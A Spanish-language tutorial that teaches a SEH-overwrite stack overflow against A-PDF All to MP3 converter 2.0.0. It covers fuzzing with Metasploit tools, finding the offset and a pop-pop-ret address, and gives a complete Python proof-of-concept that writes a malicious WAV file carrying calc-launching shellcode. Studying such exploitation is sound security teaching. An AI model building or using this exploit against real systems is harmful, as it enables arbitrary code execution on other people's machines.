STACK OVERFLOW BYPASSING SEH
“STRUCTURED EXCEPTION HANDLER”
“STRUCTURED EXCEPTION HANDLER”
INTRODUCCIÓN
===========
En este caso vamos a ver como saltarnos la protección SEH.
Para seguir este tutorial necesitaremos:
- Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx
- Tener python instalado: http://www.python.org/download/
- Metasploit: http://www.metasploit.com/download/
- Cygwin: http://cygwin.com/install.html
- A-PDF All to MP3 converter 2.0.0: http://www.exploit-db.com/application/16073/
EXPLICACIÓN
==========
Bueno a ver si me explico bien… Cuando programamos cualquier aplicación le podemos poner lo que son bloques de control de errores, los conocidos try {} catch() {}; si se cumple lo que hay dentro del try sigue el código después del catch, si hay un error salta a la excepción, o sea al catch y hace lo que haya dentro. Bien pues esto se nos aparece también en la pila, el controlador de excepciones. El propio sistema operativo tiene sus propios controladores de excepciones, ahora como es su funcionamiento en la pila, pues en cada marco de pila antes de llegar al ret hay un puntero al próximo marco de pila con su SEH handler y después de esta la dirección del propio SEH handler. Al final llega a una dirección tipo 0xFFFFFFFF que indica que es el ultimo SEH handler y allí se para. En su camino puede encontrarse con SEH handler del programa compilado y con SEH handler del sistema operativo.
Como explotar esto sin llegar a ningún controlador de excepción. Bueno la técnica es la siguiente. Como siempre llenar el buffer de basura, como no llegó al retorno valido saltara la excepción, el SE Handler (el siguiente), cuando llegamos al puntero lo sobrescribimos con un salto de 6 bytes hacia delante que se encontrará nuestra shellcode, después la siguiente dirección (el SEH handler actual, después de los 6 bytes) la reemplazamos por un pop pop ret que hará que quite dos direcciones y llegue al puntero del próximo SEH, o sea al salto de 6 bytes y de ahí a nuestra shellcode. Por qué ocurre esto? Porque cuando se encuentra un error el SEH crea un marco de pila nuevo con su código, o sea que apunta a un nuevo marco de pila, si hacemos un pop/pop/ret llegaremos al puntero del próximo SEH handler, en esp+8, que es nuestro salto de 6 bytes que nos mandará hacia la shellcode
Una vez entendido esto no os va a costar construir vuestros exploits.
MANOS A LA OBRA
=============
Vamos a poner a Windbg como just-time-in-debugger, vamos a su carpeta y ejecutamos windbg –I (como administrador).
Código:
C:\Program Files\Debugging Tools for Windows (x86)>windbg –I
Ahora vamos a fuzzear el programa, para esto ya tienes que tener el programa vulnerable instalado, en este caso A-PDF All to MP3 converter 2.0.0. Además de Metasploit. Arrancamos este último con msfconsole y utilizamos una de sus tools pattern_reate.rb (está en la carpeta tools).
Copiamos todos los bytes y lo empleamos en un script de python con el siguiente código.
Código:
#!/usr/bin/env python
# Fuzz
#####################
import sys
fuzz = “Cadena de caracteres de pattern_create.rb”
f = open("crash.wav","wb")
f.write(fuzz)
f.close()
print ("[+] Hecho!!!")
Desde ms-dos lo invocamos y creamos el archivo
Código:
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!
Abrimos ahora Alltomp3.exe, nos pide el registro, le damos a try y después a next, arrastramos el archivo crash.wav al programa y windbg salta.
Para ver donde ha desbordado excribmos el comando !exchain y aparece el patrón de búsqueda
Cogemos el patrón de búsqueda y nos vamos de nuevo a Metasploit para sacar los caracteres de basura.
Código:
msf > ruby pattern_offset.rb 68463768
[*] exec: ruby pattern_offset.rb 68463768
4132
Des esto concluimos que el exploit seria: basura + jmp 6 bytes + pop pop ret + shellcode
ARMANDO EXPLOIT
==============
Usaremos python para el exploit como en el fuzz, pero antes necesitamos sacar una dirección que use el programa que contenga un pop pop ret. Como lo sacamos? También con Metasploit, pero esta opción solo se puede usar desde Linux porque Windows no entiende el archivo, por eso tenemos que instalarnos Cygwin, ya sabes Ahora nos vamos a la ruta donde esta msfpescan que está dentro de la carpeta msf3. Antes de buscar bueno os digo, lo mejor es buscar el offset en el propio ejecutable porque nos aseguramos de que funcionará y además será universal independientemente del sistema operativo. Resulta que tenia la anterior versión de Metasploit que trae una consola de Cygwin así que no me hizo falta instalarlo. Ahora si ejecutamos msfpescan -p ruta_del_exe:
Nos han salido solo 4 direcciones y además con caracteres nulos ‘00’ (podría fallar el ataque), usamos la ultima y a ver que ocurre, la cogemos en el orden littel Indian "\x91\x6a\x5d\x00". Nos falta el salto de 6 bytes, esto se consigue con "\xeb\x06\x90\x90" eb para el opcode jmp y después los bytes que deseemos pero siempre en hexadecimal claro, seguido de dos nops. Ah falta lo más importante la shellcode, en este caso la ejecución de una calculadora. El exploit quedaría así.
Código:
#!/usr/bin/env python
# PoC
#####################
import sys
basura = "\x41" * 4132
nseh = "\xeb\x06\x90\x90"
seh = "\x91\x6a\x5d\x00"
# win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"
"\x4e\x36\x43\x46\x42\x50\x5a")
exploit = basura + nseh + seh + shellcode
f = open("crash.wav","wb")
f.write(exploit)
f.close()
Desde ms-dos lo invocamos y creamos el archivo
Código:
C:\Users\soez\Desktop>exploit.py
[+] Hecho!!!
Volvemos a abrir crash.wav con Alltomp3.exe y voilá
BIBLIOGRAFIA
==========
http://www.corelan.be:8800 <-- Recomendada (inglés)
http://www.exploit-db.com <-- Para practicar con más programas
Este manual se lo dedico a mi compa messerschmitt.
soez
Descarga en pdf: https://mega.co.nz/#!Y54FQbwQ!XhbdH4Hge6OIJ2pZC52kjuLXMEuIITfTslYtdbKIZUs